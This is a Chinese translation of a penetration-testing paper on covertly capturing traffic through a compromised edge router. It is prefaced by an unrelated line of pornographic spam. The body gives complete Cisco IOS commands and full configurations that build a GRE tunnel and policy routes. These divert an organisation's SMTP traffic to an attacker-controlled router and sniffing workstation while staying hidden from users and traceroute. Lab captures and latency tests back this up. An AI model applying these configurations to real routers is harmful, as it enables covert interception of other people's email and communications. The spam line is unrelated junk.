自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

利用被入侵的路由器獲取網(wǎng)絡(luò)流量

安全 黑客攻防
現(xiàn)在,對終端路由器進行流量劫持的方法很多,如DNS劫持等等,但是根據(jù)不同的滲透場景,如對電信級別的組織進行大范圍攻擊時,利用被入侵的路由器進行流量重定向則會顯得更加高效。這種類似“核攻擊”的攻擊方法會導(dǎo)致X州市數(shù)字電視一樣的后果。

0x00 前言

現(xiàn)在,對終端路由器進行流量劫持的方法很多,如DNS劫持等等,但是根據(jù)不同的滲透場景,如對電信級別的組織進行大范圍攻擊時,利用被入侵的路由器進行流量重定向則會顯得更加高效。這種類似“核攻擊”的攻擊方法會導(dǎo)致X州市數(shù)字電視一樣的后果。

原文地址:https://dl.packetstormsecurity.net/papers/routing/GRE_sniffing.doc

0x01 介紹

這篇文檔詳細描述了在最近試驗中,使用邊界路由器作為工具來捕獲網(wǎng)絡(luò)流量的方法 、步驟以及結(jié)果。

在滲透測試場景中,人們經(jīng)常會入侵一個組織的邊緣路由器。這些路由器往往部署在公司防火墻外,而且缺乏保護。在某些情況下,被入侵的路由器可能會成為進一步攻擊目標網(wǎng)絡(luò)的一個跳板,但是真正的價值用被掌握的路由器用來嗅探組織內(nèi)部進出的網(wǎng)絡(luò)流量。

這種使用GRE隧道和策略路由的技術(shù)最早在Phrack由Gauis發(fā)表的第56篇文章“Things to do in Cisco Land when you are dead” (http://www.phrack.com/show.php?p=56&a=10),Gauis的方法使用tcpdump修改的proof-of-concept(poc)程序,來在被嗅探的路由器和一臺Linux之間建立一條GRE隧道。

而Joshua Wright在他為SANS GCIH的實用鑒定課程中寫的的論文:“Red Team Assessment of Parliament Hill Firewall”中使用了另一種方法,Joshua使用了另外一臺思科路由器終結(jié)了GRE隧道,但他只設(shè)法捕捉到一個方向的流量:從該組織出站方向的流量。

在本次這個試驗中擴展了Joshua的方法,同樣使用另外一臺思科路由器來終結(jié)GRE隧道,但是從組織中透明地捕捉到了進出的流量。對這個技術(shù)進行擴展的主要因素是為了最少進行軟件定制以及組件的需要。

特別感謝Darren Pedley(Darren.Pedley@alphawest6.com.au)對路由器配置的協(xié)助以及對整個實驗完整的檢查。

0x02 方法

所選擇的方法是,在目標路由器(“Target router”)和被黑客控制的中間路由器(“Attacker router”)之間建立GRE隧道。使用策略路由來把該組織中進出的流量通過GRE隧道重定向到中間路由器(Attacker router)中。流量在最終被目標路由器(Target router)傳送之前,就已經(jīng)被黑客控制的中間路由器(Attacker router)處理過了。

本次測試了兩種場景。第一個場景,被捕獲的流量只是被中間路由器通 “反射”進了GRE隧道,如圖1。這種方法有一個好處就是在路由器上配置簡單,但是介紹以下出現(xiàn)的問題:

為了方便捕獲數(shù)據(jù)流量,必須嗅探中間路由器外端的端口(即中間路由器的tunnle隧道上的物理接口)。這種方法在非以太網(wǎng)絡(luò)媒介中會難以實現(xiàn)。

被捕獲的流量是通過GRE報文封裝的,就必須在執(zhí)行IP解碼之前對流量進行解封裝。

 

 

圖1 – 場景1

在第二個處理場景中,中間路由器被配置為在回傳捕獲流量給目標路由器之前,先把流量發(fā)傳送給一臺Unix工作站,如圖2,這個腳本克服前面的兩個缺點:

對于中間路由器來說,可以使任意媒介的外部網(wǎng)絡(luò)。

流量轉(zhuǎn)發(fā)給Unix工作站時已經(jīng)解封裝,則使用較少的處理過程就可以提取流量中有用的信息。

 

 

圖2 – 場景2#p#

0x03 步驟

圖3顯示了在本次試驗的網(wǎng)絡(luò)拓撲。

 

 

圖3 - 實驗測試拓撲

1、實驗設(shè)備

目標路由器(target router)使用雙以太網(wǎng)接口的Cisco 3600路由器,中間路由器(attacker router)使用雙以太網(wǎng)接口的Cisco 2600路由器。這個實驗同樣適用于任何IOS系統(tǒng)的思科路由器,可能適用于其他支持GRE隧道和策略路由的路由器。

郵件服務(wù)器是一臺裝有Linux的筆記本,網(wǎng)絡(luò)嗅探設(shè)備是一臺Solaris工作站,這些設(shè)備都是任意選擇的。

2、建立一條GRE隧道

第一步,在對路由器進行基礎(chǔ)的IP配置之后,就在目標路由器和中間路由器間建起GRE隧道,在實際環(huán)境使用這種方法時,目標路由器應(yīng)必須首先已被入侵并可以遠程配置,入侵目標路由器的方法以已經(jīng)超出了本文的討論范圍。

目標路由器配置:

Target#conf t
Target(config)#int tunnel0
Target(config-if)#ip address 192.168.5.1 255.255.255.0
Target(config-if)#tunnel source eth0/1
Target(config-if)#tunnel dest 192.168.1.2
Target(config-if)#tunnel mode gre ip
Target(config-if)#exit
Target(config)#exit
Target#

建立名稱為tunnel0的隧道接口,分配本地IP地址192.168.5.1(虛擬的IP地址),外部以太網(wǎng)接口定義為本地tunnel隧道的終點,同時定義中間路由器的外部IP地址為tunnel隧道對端的終點。在中間路由器上配置類似的命令。

中間路由器操作:

Attacker#conf t
Attacker(config)#int tunnel0
Attacker(config-if)#ip address 192.168.5.2 255.255.255.0
Attacker(config-if)#tunnel source eth0/1
Attacker(config-if)#tunnel dest 192.168.1.1
Attacker(config-if)#tunnel mode gre ip
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

到這一步,兩臺路由器間的GRE隧道已經(jīng)建立了,不管這兩臺路由器間在互聯(lián)網(wǎng)間相隔多少跳路由,GRE隧道都只認為經(jīng)過了一跳路由。

3、場景1中的策略路由配置

在場景1中(見圖1),我們在中間路由器tunnel0的接口上建立策略路由,并通過GRE隧道向目標路由器“反射”流量。

中間路由器操作:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map reflect
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map reflect
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

訪問控制列表100(acl100)匹配所有IP協(xié)議流量,route map策略抓取了所有匹配訪問控制列表100的流量,然后發(fā)往192.168.5.1,也就是目標路由器上終結(jié)GRE隧道的地址。這條route map策略在tunnel0接口上應(yīng)用。

這樣配置的結(jié)果就是,所有通過tunnel0接口到達中間路由器的流量,隨后會通過tunnel接口(即tunnel隧道)返回給目標路由器。

4、場景1中的Unix工作站初始化

在場景1中,攻擊者的Unix工作站在外部署在中間路由器的外部接口中,在這個實例中,Unix工作站的IP地址可以配置或不配置,因為工作站只需要被動地捕獲網(wǎng)絡(luò)流量。

5、場景2中的策略路由配置

在第二個場景中,我們在中間路由器tunnel接口上和在與Unix工作站互聯(lián)的內(nèi)網(wǎng)接口上建立了策略路由,來“反射”通過GRE隧道及Unix工作站內(nèi)網(wǎng)接口傳來的流量。

中間路由器操作:

Attacker#conf t
Attacker(config)#access-list 100 permit ip any any
Attacker(config)#route-map send-traffic-in
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.3.2
Attacker(config-route-map)#exit
Attacker(config)#int tunnel0
Attacker(config-if)#ip policy route-map send-traffic-in
Attacker(config-if)#exit
Attacker(config)#route-map send-traffic-out
Attacker(config-route-map)#match ip address 100
Attacker(config-route-map)#set ip next-hop 192.168.5.1
Attacker(config-route-map)#exit
Attacker(config)#int eth0/0
Attacker(config-if)#ip policy route-map send-traffic-out
Attacker(config-if)#exit
Attacker(config)#exit
Attacker#

策略路由“send-traffic-in”被應(yīng)用在tunnel0接口上,這條策略路由將從tunnel所有到達的流量轉(zhuǎn)發(fā)到Unix工作站的住IP地址的以太網(wǎng)接口上(192.168.3.2)。工作站通過缺省路由經(jīng)將該流量轉(zhuǎn)發(fā)回中間路由器上(192.168.4.1)。

策略路由“send-traffic-out”被應(yīng)用在中間路由器的內(nèi)部以太網(wǎng)接口上(與Unix工作站互聯(lián)的接口),它將從Unix工作站返回的流量通過GRE隧道全部轉(zhuǎn)發(fā)回目標路由器。

6、場景2中的Unix工作站初始化

在場景2中的Unix工作站配置如下:

Primary IP address(主IP地址): 192.168.3.2

Secondary IP address(從IP地址): 192.168.4.2

從IP地址是在同一物理網(wǎng)絡(luò)接口上的虛擬地址。

Default route(缺省路由): 192.168.4.1

7、定義一個需要被捕獲的流量

接下來,在目標路由器上建立訪問控制列表(ACL)來抓取需被捕獲流量。

在目標路由器上操作:

Target#conf t
Target(config)#access-list 101 permit tcp any any eq 25
Target(config)#access-list 101 permit tcp any eq 25 any
Target(config)#exit
Target#

這條訪問控制列表匹配了所有SMTP協(xié)議(25/TCP)流量,定義規(guī)則來對進出的數(shù)據(jù)包進行匹配是非常有必要的,因為這條訪問控制列表將被應(yīng)用在目標路由器的所有接口上。

8、在目標路由器上的策略路由

最后,我們在目標路由器上建立策略路由,用來將感興趣的流量通過GRE隧道發(fā)送。

在目標路由器上操作:

Target#conf t
Target(config)#route-map capture-traffic
Target(config-route-map)#match ip address 101
Target(config-route-map)#set ip next-hop 192.168.5.2
Target(config-route-map)#exit
Target(config)#int eth0
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#int eth1
Target(config-if)#ip policy route-map capture-traffic
Target(config-if)#exit
Target(config)#exit
Target#

定義的這條策略路由(capture-traffic)匹配了訪問控制列表101(即所有SMTP流量),同時通過GRE隧道向中間路由器轉(zhuǎn)發(fā)這些流量,這條策略路由需被同時應(yīng)用在這臺路由器對內(nèi)、對外接口上。

到現(xiàn)在,所有進出目標路由器的SMTP流量將通過GRE隧道被重定向到中間路由器上,流量(返程流量)到達中間路由器是通過GRE隧道、中間是根據(jù)標準的路由協(xié)議進路由轉(zhuǎn)發(fā)由的。

目標路由器上最終配置請見附錄A,中間路由器在場景1和場景2中的配置可以分別在附錄B和C中找到。#p#

0x04 結(jié)果

在兩個場景中,SMPT連接通過GRE隧道轉(zhuǎn)移,成功地被UNIX工作站抓取。

場景1中的抓包驗證

以下抓包片段顯示了在場景1中,截取的SMTP會話建立過程(即三次握手)。

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
 2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
 3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
 4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
 5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
 6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
 7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
 8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
 9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799

第1條數(shù)據(jù)包顯示客戶端向郵件服務(wù)器發(fā)送TCP SYN包。

第2、3條數(shù)據(jù)包顯示這個SYN包從目標路由器發(fā)向了中間路由器,并返回到目標路由器。

在第3條數(shù)據(jù)包之后,這個SYN包就被傳送到了郵件服務(wù)器上了:這個包在抓包過程中沒有顯示。郵件服務(wù)服務(wù)器應(yīng)答了一個SYN/ACK包:這個包在抓包過程中沒有顯示。

數(shù)據(jù)包4和5顯示了這個SYN/ACK包正在穿越GRE隧道。

數(shù)據(jù)包6顯示這個SYN/ACK包被返回到了郵件客戶端。

數(shù)據(jù)包7顯示從客戶端應(yīng)答的ACK包(即三次握手過程中的最后一個數(shù)據(jù)包)發(fā)向郵件服務(wù)器。

數(shù)據(jù)包8和9顯示這個ACK包正在穿越GRE隧道。

在第9個數(shù)據(jù)包之后,這個ACK包就已經(jīng)被傳送到了郵件服務(wù)器上,會話建立成功,隨后的SMTP連接繼續(xù)繼續(xù)建立。

更完整的抓包結(jié)果,以及第2條數(shù)據(jù)包詳細的協(xié)議解碼請見附錄D。

Scenario 2場景2的抓包驗證

以下抓包片段顯示了在場景2中,截取的SMTP會話建立過程(即三次握手)。

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712

數(shù)據(jù)包1和2顯示了客戶端發(fā)往郵件服務(wù)器的TCP SYN數(shù)據(jù)包,由于被捕獲的流量在去往Unix工作站時在同一接口上被路由了兩遍(即中間路由器路由一次,Unix工作站缺省路由一次),所以這條(同時所有)流量在抓包顯示被復(fù)制了二份。

數(shù)據(jù)包3和4顯示了郵件服務(wù)器發(fā)往客戶端的SYN/ACK數(shù)據(jù)包。

數(shù)據(jù)包5和6顯示了客戶端回復(fù)郵件服務(wù)器的ACK數(shù)據(jù)包(三次握手的最后一步)

更完整的抓包結(jié)果請見附錄E。

0x05 結(jié)論及討論

透明度

這種數(shù)據(jù)攔截的方法對于這個系統(tǒng)中的終端用戶是完全透明的(見下面的部分),標準的traceroute追蹤不能發(fā)現(xiàn)數(shù)據(jù)在GRE隧道重定向而帶來的額外路由跳數(shù),因為traceroute的數(shù)據(jù)包并沒有被策略路由(即上文中提到的策略路由)所匹配。

有這種可能,但是比較困難,就是編寫一個基于TCP 協(xié)議,使用25號端口以及利用遞增TTL值的traceroute程序,去發(fā)現(xiàn)已經(jīng)增加的額外路由跳數(shù)。

當然,通過檢查目標路由器的配置來發(fā)現(xiàn)(是否被攻擊)會更簡單。

延遲考慮

在通過中間路由器路由器捕獲重定向的流量會增加網(wǎng)絡(luò)延遲,這種延遲的增加可以表示為:

2n + m

n代表流量從目標路由器到中間路由器間所花費的時間,m代表中間路由器(以及Unix工作站)處理這條流量所帶來的時間延遲。

在實驗室場景中,發(fā)現(xiàn)m的值大約有10ms的延遲 - 詳見附錄F。

n的值顯得要更大一些,這種(流量重定向)技術(shù)應(yīng)被限制在類似如SMTP, DNS域傳送等一類流量非嚴格時間敏感的場景中使用。

對流量進一步解碼

從被捕獲流量中提取有用數(shù)據(jù)的聯(lián)系就交給讀者了,在標準的Unix工具集中,例如strings以及od命令都可以方便地處理這些數(shù)據(jù)。

實用性

在現(xiàn)實情況下使用這種技術(shù),應(yīng)該注意中間路由器(以及在場景2中的Unix工作站)可能會導(dǎo)致單點通信故障,如果任何一臺設(shè)備出現(xiàn)故障,那么在3.7章節(jié)中的訪問控制列表所匹配的流量(即目標流量)將不能被正常轉(zhuǎn)發(fā)。

0x06 附錄

附錄A - 目標路由器完整配置(Target Router)

!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Target
!
no logging console
!
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.1 255.255.255.0
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.2
!
interface Ethernet0/0
 ip address 192.168.2.1 255.255.255.0
 ip policy route-map capture-traffic
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.1 255.255.255.0
 ip policy route-map capture-traffic
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 101 permit tcp any any eq smtp
access-list 101 permit tcp any eq smtp any
no cdp run
route-map capture-traffic permit 10
 match ip address 101
 set ip next-hop 192.168.5.2
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 login
!
end

附錄B -場景1中間路由器完整配置(Attack Router)

!
version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.2 255.255.255.0
 ip policy route-map reflect
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.1
!
interface Ethernet0/0
 ip address 192.168.3.1 255.255.255.0
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.2 255.255.255.0
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map reflect permit 10
 match ip address 100
 set ip next-hop 192.168.5.1
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 no login
!
end

附錄C -場景2中間路由器完整配置(Attack Router)

version 12.2
service timestamps debug uptime
service timestamps log uptime
no service password-encryption
!
hostname Attacker
!
logging buffered 4096 debugging
no logging console
enable secret 5 $1$cjVg$HSwnoTugnkpJb2ZrZTqsQ0
!
memory-size iomem 10
ip subnet-zero
!
interface Tunnel0
 ip address 192.168.5.2 255.255.255.0
 ip policy route-map send-traffic-in
 tunnel source Ethernet0/1
 tunnel destination 192.168.1.1
!
interface Ethernet0/0
 ip address 192.168.4.1 255.255.255.0 secondary
 ip address 192.168.3.1 255.255.255.0
 ip policy route-map send-traffic-out
 half-duplex
!
interface Ethernet0/1
 ip address 192.168.1.2 255.255.255.0
 half-duplex
!
ip classless
no ip http server
no ip pim bidir-enable
!
access-list 100 permit ip any any
no cdp run
route-map send-traffic-out permit 10
 match ip address 100
 set ip next-hop 192.168.5.1
!
route-map send-traffic-in permit 10
 match ip address 100
 set ip next-hop 192.168.3.2
!
line con 0
line aux 0
line vty 0 4
 privilege level 15
 no login
!
end

附錄D - 場景1中的流量抓包

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
2   0.00208  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=823
3   0.00144  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=797
4   0.00277  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=72, ID=824
5   0.00140  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=72, ID=798
6   0.00060  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
7   0.00032  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
8   0.00183  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=825
9   0.00138  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=799
10  40.09693  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=153, ID=826
11   0.00142  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=153, ID=800
12   0.00063  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 220 localhost.locald
13   0.13864  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
14   0.00185  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=827
15   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=801

82   2.18601  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 q
83   0.00211  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=850
84   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=824
85   0.03858  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=851
86   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=825
87   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
88   0.18110  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 u
89   0.00186  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=852
90   0.00136  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=826
91   0.00271  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=853
92   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=827
93   0.00059  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
94   0.05429  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 i
95   0.00191  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=854
96   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=828
97   0.00269  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=855
98   0.00131  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=829
99   0.00051  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
100   0.16402  192.168.1.3 -> 192.168.2.2  SMTP C port=1617 t
101   0.00207  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=65, ID=856
102   0.00139  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=65, ID=830
103   0.00270  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=857
104   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=831
105   0.00052  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
106   0.22869  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
107   0.00197  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=66, ID=858
108   0.00137  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=66, ID=832
109   0.00304  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=859
110   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=833
111   0.00012  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=116, ID=860
112   0.00055  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
113   0.00093  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=116, ID=834
114   0.00058  192.168.2.2 -> 192.168.1.3  SMTP R port=1617 221 2.0.0 localhost.
115   0.00067  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=861
116   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=835
117   0.00049  192.168.2.2 -> 192.168.1.3  SMTP R port=1617
118   0.00025  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
119   0.00044  192.168.1.3 -> 192.168.2.2  SMTP C port=1617
120   0.00172  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=862
121   0.00133  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=836
122   0.00007  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=863
123   0.00135  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=837
124   0.00255  192.168.1.1 -> 192.168.1.2  IP  D=192.168.1.2 S=192.168.1.1 LEN=64, ID=864
125   0.00130  192.168.1.2 -> 192.168.1.1  IP  D=192.168.1.1 S=192.168.1.2 LEN=64, ID=838
126   0.00054  192.168.2.2 -> 192.168.1.3  SMTP R port=1617

對嗅探到的GRE數(shù)據(jù)包解碼如下:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 2 arrived at 12:38:37.06
ETHER:  Packet size = 86 bytes
ETHER:  Destination = 0:d0:ba:fe:30:e1,
ETHER:  Source      = 0:e0:1e:7e:a0:c2,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 72 bytes
IP:   Identification = 823
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 47 ()
IP:   Header checksum = 34fc
IP:   Source address = 192.168.1.1, 192.168.1.1
IP:   Destination address = 192.168.1.2, 192.168.1.2
IP:   No options
IP:

這個GRE數(shù)據(jù)包使用Hex方式解碼如下所示:

0000000 736e 6f6f 7000 0000 0000 0002 0000 0004
0000020 0000 0056 0000 0056 0000 0070 0000 0000
0000040 3d2d 0bcd 0001 110b 00d0 bafe 30e1 00e0
0000060 1e7e a0c2 0800 4500 0048 0337 0000 ff2f
0000100 34fc c0a8 0101 c0a8 0102 0000 0800 4500
0000120 0030 3380 4000 7f06 43f2 c0a8 0103 c0a8
0000140 0202 0651 0019 99d0 26a4 0000 0000 7002
0000160 4000 f86a 0000 0204 0534 0101 0402 0000

附錄E - 場景2中的流量抓包

1   0.00000  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
2   0.00014  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
3   0.00585  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
4   0.00011  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
5   0.00579  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
6   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
7   40.09285  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
8   0.00016  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 220 localhost.locald
9   0.16606  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
10   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712

59   1.62586  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
60   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 q
61   0.04199  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
62   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
63   0.14919  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
64   0.00012  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 u
65   0.00574  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
66   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
67   0.08556  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
68   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 i
69   0.00570  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
70   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
71   0.12386  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
72   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712 t
73   0.00577  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
74   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
75   0.80846  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
76   0.00011  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
77   0.00613  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
78   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
79   0.00216  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
80   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712 221 2.0.0 localhost.
81   0.00220  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
82   0.00009  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
83   0.00670  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
84   0.00008  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
85   0.00169  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
86   0.00009  192.168.1.3 -> 192.168.2.2  SMTP C port=1712
87   0.00645  192.168.2.2 -> 192.168.1.3  SMTP R port=1712
88   0.00008  192.168.2.2 -> 192.168.1.3  SMTP R port=1712

附錄F - 延遲測試 測試了額外增加的流量處理時間的延遲測試,在實驗室中使用ICMP ping對互聯(lián)網(wǎng)上的客戶端機器進行測試。

在沒有重定向/抓包時…

C:\>ping 192.168.2.2       

Pinging 192.168.2.2 with 32 bytes of data:       

Reply from 192.168.2.2: bytes=32 time=10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254
Reply from 192.168.2.2: bytes=32 time<10ms TTL=254       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum =  10ms, Average =  2ms       

C:\>ping -l 1000 192.168.2.2       

Pinging 192.168.2.2 with 1000 bytes of data:       

Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254
Reply from 192.168.2.2: bytes=1000 time<10ms TTL=254       

Ping statistics for 192.168.2.2:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum =  0ms, Average =  0ms       

C:\>

在進行重定向/抓包時…

C:\>ping 192.168.2.2       

Pinging 192.168.2.2 with 32 bytes of data:       

Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250
Reply from 192.168.2.2: bytes=32 time=10ms TTL=250       

